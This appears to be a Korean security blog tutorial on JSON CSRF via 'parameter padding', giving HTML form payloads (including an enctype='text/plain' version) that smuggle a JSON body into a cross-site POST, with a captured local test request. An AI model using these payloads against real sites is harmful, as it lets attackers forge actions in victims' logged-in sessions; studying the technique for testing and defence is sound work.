Parameter Padding for Attack a JSON CSRF

좀 오래된 우회기법(?)이긴 하나 한번 정리해두면 좋을 것 같아 포스팅합니다. 오늘은 CSRF 그중에서도 JSON 형태의 요청을 처리하는데 사용할 수 있는 방법이죠.

많은 수의 CSRF는 GET 형태의 경우 <img> 태그 활용, POST 형태의 경우 <form> 태크나 Jquery, XML Request 등을 이용하여 코드를 만듭니다. 일반적인 웹 형태의 요청이기 때문에 가능하죠. 그러나 아래와 같이 JSON 형태로 요청이 나간다면 어떨까요?

POST /zzzwrite.php HTTP/1.1
[....]

{"title":123,"content":"hello","board_code":1}

<img> <form> 등의 태그로는 JSON 형태를 구현할 수 없고, Jquey나 XML Reuqest를 쓰자니 SOP에 의해 제어되어 원격지에 대한 요청은 어렵게되죠. 약간 간단한 트릭으로 넘어갈 수 있습니다.

Parameter Padding

{"title":123,"content":"hello","board_code":1} 이런 형태의 값을 전송하기 위해선 JSON이 필요하지만 간단한 Padding으로 넘어갈 수 있습니다. 위 값이 파라미터명이 되면 됩니다. 아래 내용을 보시죠.

<form action="csrfpage" method="POST">
<input name='{"title":123,"content":"hello","board_code":1,"hwul":"' value='=bypass"'>
<input type="submit" value="Attack!">
</form>

이런식으로 name에 JSON 구문이 들어가고 파라미터와 값을 이어주는 = 을 날리기 위해 value로 짤라주게 되면 아래와 같이 정상적인 JSON 구문이 발생하게 되죠.

{"title":123,"content":"hello","board_code":1,"hwul":"=bypass"}

그럼 이제 CSRF를 통해 JSON 형태의 값을 던질 수 있겠지요. 자 이제 하나 더 생각해봅시다.

Enctype을 이용한 type 변경

위 코드로도 잘 되겠지만 상황에 따라 전송되는 형태가 바뀌어서 값이 변화되는 경우들이 있습니다. 사전에 미리 방지하기 위해 enctype을 이용해서 전송 포맷을 고정해줍니다.

<form action="csrfpage" method="POST" enctype="text/plain">
<input name='{"title":123,"content":"hello","board_code":1,"hwul":"' value='bypass"}'>
<input type="submit" value="Attack!">
</form>

이 코드로 테스트를 해보면..

POST /xss.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: text/plain
Content-Length: 65
Referer: http://127.0.0.1/jcsrf.html
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

{"title":123,"content":"hello","board_code":1,"hwul":"=bypass"}

JSON 형태로 요청이 발생했네요 :D

Reference

  • http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html